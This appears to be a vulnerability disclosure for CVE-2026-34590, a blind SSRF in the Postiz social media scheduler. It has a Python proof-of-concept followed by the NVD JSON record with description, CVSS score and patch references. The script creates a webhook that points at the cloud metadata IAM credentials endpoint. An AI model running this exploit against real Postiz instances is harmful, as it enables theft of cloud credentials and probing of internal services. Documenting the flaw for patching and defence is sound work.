CVE-2026-34590

import requests # Configuration target_host = "http://vulnerable-postiz-instance.com" attacker_controlled_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" login_token = "<USER_ACCESS_TOKEN>" # Step 1: Create a malicious webhook create_webhook_url = f"{target_host}/api/webhooks" headers = { "Authorization": f"Bearer {login_token}", "Content-Type": "application/json" } payload = { "url": attacker_controlled_url, # Internal IP address "event": "post.published", "provider": "custom" } response = requests.post(create_webhook_url, json=payload, headers=headers) if response.status_code == 201: print("[+] Malicious webhook created successfully.") print("[*] Wait for a post to be published to trigger the SSRF.") else: print("[-] Failed to create webhook.") print(response.text)

{"cve": {"id": "CVE-2026-34590", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:30.670", "lastModified": "2026-04-07T21:21:53.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Postiz is an AI social media scheduling tool. Prior to version 2.21.4, the POST /webhooks/ endpoint for creating webhooks uses WebhooksDto which validates the url field with only @IsUrl() (format check), missing the @IsSafeWebhookUrl validator that blocks internal/private network addresses. The update (PUT /webhooks/) and test (POST /webhooks/send) endpoints correctly apply @IsSafeWebhookUrl. When a post is published, the orchestrator fetches the stored webhook URL without runtime validation, enabling blind SSRF against internal services. This issue has been patched in version 2.21.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitroom:postiz:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.21.4", "matchCriteriaId": "5C48A1C3-2954-480E-989E-4CE68EADAF4B"}]}]}], "references": [{"url": "https://github.com/gitroomhq/postiz-app/commit/5ae4c950db6aa516a31454b7a45b9480bca40a11", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/gitroomhq/postiz-app/releases/tag/v2.21.4", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-wc9c-7cv8-m225", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}